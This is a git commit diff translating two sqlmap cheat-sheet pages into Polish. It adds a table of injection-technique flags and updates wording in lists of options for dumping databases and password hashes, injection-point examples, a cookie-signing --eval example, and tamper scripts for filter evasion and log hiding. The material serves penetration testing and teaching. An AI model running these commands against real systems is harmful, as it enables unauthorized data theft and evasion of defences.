Translated ['src/pentesting-web/sql-injection/sqlmap.md', 'src/pentestin

This commit is contained in:
Translator 2025-07-30 06:32:09 +00:00
parent 9462185234
commit 7053712a00
2 changed files with 79 additions and 39 deletions

View File

@ -21,6 +21,23 @@
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
### Flagi technik (`--technique`)
Argument `--technique` definiuje, które metody SQL injection sqlmap będzie próbować. Każda litera w ciągu reprezentuje technikę:
| Litera | Technika | Opis |
| ------ | --------- | ----------- |
| B | Boolean-based blind | Używa warunków prawda/fałsz do wnioskowania danych |
| E | Error-based | Wykorzystuje szczegółowe komunikaty o błędach DBMS do eksfiltracji wyników |
| U | UNION query | Wstrzykuje instrukcje `UNION SELECT`, aby pobrać dane przez ten sam kanał |
| S | Stacked queries | Dodaje dodatkowe instrukcje oddzielone `;` |
| T | Time-based blind | Opiera się na opóźnieniach (`SLEEP`, `WAITFOR`), aby wykryć wstrzyknięcie |
| Q | Inline / out-of-band | Używa funkcji takich jak `LOAD_FILE()` lub kanałów OOB, takich jak DNS |
Domyślna kolejność to `BEUSTQ`. Możesz je przestawić lub ograniczyć, np. tylko Boolean i Time-based w tej kolejności:
```bash
sqlmap -u "http://target/?id=1" --technique="BT" --batch
```
### Pobierz informacje
#### Wewnętrzne
@ -31,7 +48,7 @@
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
#### DB data
#### Dane DB
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -128,11 +145,11 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| commalessmid.py | Zastępuje wystąpienia takie jak 'MID\(A, B, C\)' z 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Zastępuje wystąpienia takie jak 'CONCAT\(A, B\)' z 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Koduje URL wszystkie znaki w danym ładunku \(nie przetwarzając już zakodowanych\) |
| charunicodeencode.py | Koduje znaki niezakodowane w danym ładunku w formacie unicode-url \(nie przetwarzając już zakodowanych\). "%u0022" |
| charunicodeescape.py | Koduje znaki niezakodowane w danym ładunku w formacie unicode-url \(nie przetwarzając już zakodowanych\). "\u0022" |
| charunicodeencode.py | Koduje znaki unicode w danym ładunku \(nie przetwarzając już zakodowanych\). "%u0022" |
| charunicodeescape.py | Koduje znaki unicode w danym ładunku \(nie przetwarzając już zakodowanych\). "\u0022" |
| equaltolike.py | Zastępuje wszystkie wystąpienia operatora równości \('='\) operatorem 'LIKE' |
| escapequotes.py | Używa znaku ukośnika do ucieczki cytatów \(' i "\) |
| greatest.py | Zastępuje operator większy niż \('&gt;'\) jego odpowiednikiem 'GREATEST' |
| escapequotes.py | Używa znaku ukośnika do ucieczki z cytatów \(' i "\) |
| greatest.py | Zastępuje operator większy niż \('&gt;'\) z odpowiednikiem 'GREATEST' |
| halfversionedmorekeywords.py | Dodaje wersjonowany komentarz MySQL przed każdym słowem kluczowym |
| ifnull2ifisnull.py | Zastępuje wystąpienia takie jak 'IFNULL\(A, B\)' z 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Otacza pełne zapytanie wersjonowanym komentarzem |
@ -164,4 +181,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| versionedmorekeywords.py | Otacza każde słowo kluczowe wersjonowanym komentarzem MySQL |
| xforwardedfor.py | Dodaje fałszywy nagłówek HTTP 'X-Forwarded-For' |
## References
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -23,6 +23,23 @@
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```
### Flagi technik (`--technique`)
Opcja `--technique` pozwala na ograniczenie lub zmianę kolejności technik SQL injection, które sqlmap będzie testować. Każda litera odpowiada innej klasie ładunków:
| Litera | Technika | Opis |
| ------ | --------- | ----------- |
| B | Boolean-based blind | Używa warunków prawda/fałsz w odpowiedzi strony, aby wywnioskować wyniki |
| E | Error-based | Wykorzystuje szczegółowe komunikaty o błędach DBMS do wydobywania danych |
| U | UNION query | Wstrzykuje instrukcje `UNION SELECT`, aby pobrać dane przez ten sam kanał |
| S | Stacked queries | Dodaje dodatkowe instrukcje oddzielone przez ogranicznik SQL (`;`) |
| T | Time-based blind | Opiera się na opóźnieniach `SLEEP/WAITFOR`, aby wykryć warunki podatne na wstrzyknięcie |
| Q | Inline / out-of-band | Wykorzystuje funkcje takie jak `LOAD_FILE()` lub eksfiltrację DNS do wydobywania danych |
Domyślna kolejność, którą sqlmap będzie stosować, to `BEUSTQ` (wszystkie techniki). Możesz zmienić zarówno kolejność, jak i podzbiór. Na przykład, następujące polecenie **tylko** spróbuje technik UNION query i Time-based blind, próbując najpierw UNION:
```bash
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
```
### Pobierz informacje
#### Wewnętrzne
@ -34,7 +51,7 @@
--passwords #Get passwords of users in DB
--privileges #Get privileges
```
#### DB data
#### Dane DB
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -43,17 +60,17 @@
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
Używając [SQLMapping](https://taurusomar.github.io/sqlmapping/), jest to praktyczne narzędzie, które generuje polecenia i zapewnia pełny przegląd, zarówno podstawowy, jak i zaawansowany, dla SQLMap. Zawiera ToolTips, które wyjaśniają każdy aspekt narzędzia, szczegółowo opisując każdą opcję, abyś mógł poprawić i zrozumieć, jak używać go efektywnie i skutecznie.
Używając [SQLMapping](https://taurusomar.github.io/sqlmapping/), jest to praktyczne narzędzie, które generuje polecenia i zapewnia pełny przegląd, zarówno podstawowy, jak i zaawansowany, dla SQLMap. Zawiera podpowiedzi, które wyjaśniają każdy aspekt narzędzia, szczegółowo opisując każdą opcję, abyś mógł poprawić i zrozumieć, jak używać go efektywnie i skutecznie.
## Miejsce wstrzyknięcia
### Z przechwycenia Burp/ZAP
Przechwyć żądanie i utwórz plik req.txt
Przechwyć żądanie i utwórz plik req.txt.
```bash
sqlmap -r req.txt --current-user
```
### Wstrzykiwanie Żądania GET
### Wstrzykiwanie żądania GET
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
@ -80,13 +97,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
```bash
--string="string_showed_when_TRUE"
```
### Technika wykrywania
### Dodaj technikę wykrywania
Jeśli znalazłeś SQLi, ale sqlmap go nie wykrył, możesz wymusić technikę wykrywania za pomocą argumentów takich jak `--prefix` lub `--suffix`, lub w przypadku bardziej złożonych, dodając ją do ładunków używanych przez sqlmap w `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`, na przykład dla opartego na czasie ślepego.
### Eval
**Sqlmap** pozwala na użycie `-e` lub `--eval`, aby przetworzyć każdy ładunek przed jego wysłaniem za pomocą jednego wiersza kodu w Pythonie. Ułatwia to i przyspiesza przetwarzanie ładunku w niestandardowy sposób przed jego wysłaniem. W następującym przykładzie **sesja cookie flask** **jest podpisywana przez flask znanym sekretem przed jej wysłaniem**:
**Sqlmap** pozwala na użycie `-e` lub `--eval`, aby przetworzyć każdy ładunek przed wysłaniem go z użyciem jednego wiersza kodu w Pythonie. Ułatwia to i przyspiesza przetwarzanie ładunku w niestandardowy sposób przed jego wysłaniem. W następującym przykładzie **sesja cookie flask** **jest podpisywana przez flask znanym sekretem przed wysłaniem**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
@ -150,13 +167,13 @@ Pamiętaj, że **możesz stworzyć własny tamper w pythonie** i jest to bardzo
| base64encode.py | Koduje wszystkie znaki w danym ładunku w formacie Base64 |
| between.py | Zastępuje operator większy niż ('>') z 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Zastępuje znak spacji po instrukcji SQL ważnym losowym znakiem pustym. Następnie zastępuje znak = operatorem LIKE |
| chardoubleencode.py | Podwójnie koduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych) |
| chardoubleencode.py | Podwójnie koduje wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych) |
| commalesslimit.py | Zastępuje wystąpienia takie jak 'LIMIT M, N' z 'LIMIT N OFFSET M' |
| commalessmid.py | Zastępuje wystąpienia takie jak 'MID(A, B, C)' z 'MID(A FROM B FOR C)' |
| concat2concatws.py | Zastępuje wystąpienia takie jak 'CONCAT(A, B)' z 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Koduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych) |
| charunicodeencode.py | Koduje znaki unicode w danym ładunku (nie przetwarzając już zakodowanych). "%u0022" |
| charunicodeescape.py | Koduje znaki unicode w danym ładunku (nie przetwarzając już zakodowanych). "\u0022" |
| charunicodeencode.py | Koduje znaki unicode w formacie URL w danym ładunku (nie przetwarzając już zakodowanych). "%u0022" |
| charunicodeescape.py | Koduje znaki unicode w formacie URL w danym ładunku (nie przetwarzając już zakodowanych). "\u0022" |
| equaltolike.py | Zastępuje wszystkie wystąpienia operatora równości ('=') operatorem 'LIKE' |
| escapequotes.py | Używa znaku ukośnika do ucieczki cytatów (' i ") |
| greatest.py | Zastępuje operator większy niż ('>') jego odpowiednikiem 'GREATEST' |
@ -171,16 +188,16 @@ Pamiętaj, że **możesz stworzyć własny tamper w pythonie** i jest to bardzo
| randomcase.py | Zastępuje każdy znak słowa kluczowego losową wartością wielkości liter |
| randomcomments.py | Dodaje losowe komentarze do słów kluczowych SQL |
| securesphere.py | Dodaje specjalnie skonstruowany ciąg |
| sp_password.py | Dodaje 'sp_password' na końcu ładunku w celu automatycznego zaciemnienia z logów DBMS |
| sp_password.py | Dodaje 'sp_password' na końcu ładunku w celu automatycznego zatarcia w logach DBMS |
| space2comment.py | Zastępuje znak spacji (' ') komentarzami |
| space2dash.py | Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje losowy ciąg i nowa linia ('\n') |
| space2hash.py | Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje losowy ciąg i nowa linia ('\n') |
| space2morehash.py | Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje losowy ciąg i nowa linia ('\n') |
| space2hash.py | Zastępuje znak spacji (' ') znakiem krzyża ('#') po którym następuje losowy ciąg i nowa linia ('\n') |
| space2morehash.py | Zastępuje znak spacji (' ') znakiem krzyża ('#') po którym następuje losowy ciąg i nowa linia ('\n') |
| space2mssqlblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków |
| space2mssqlhash.py | Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje nowa linia ('\n') |
| space2mssqlhash.py | Zastępuje znak spacji (' ') znakiem krzyża ('#') po którym następuje nowa linia ('\n') |
| space2mysqlblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków |
| space2mysqldash.py | Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje nowa linia ('\n') |
| space2plus.py | Zastępuje znak spacji (' ') znakiem plus ('+') |
| space2plus.py | Zastępuje znak spacji (' ') znakiem plusa ('+') |
| space2randomblank.py | Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków |
| symboliclogical.py | Zastępuje operatory logiczne AND i OR ich symbolicznymi odpowiednikami (&& i |
| unionalltounion.py | Zastępuje UNION ALL SELECT z UNION SELECT |
@ -192,4 +209,7 @@ Pamiętaj, że **możesz stworzyć własny tamper w pythonie** i jest to bardzo
| xforwardedfor.py | Dodaje fałszywy nagłówek HTTP 'X-Forwarded-For' |
## References
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
{{#include ../../../banners/hacktricks-training.md}}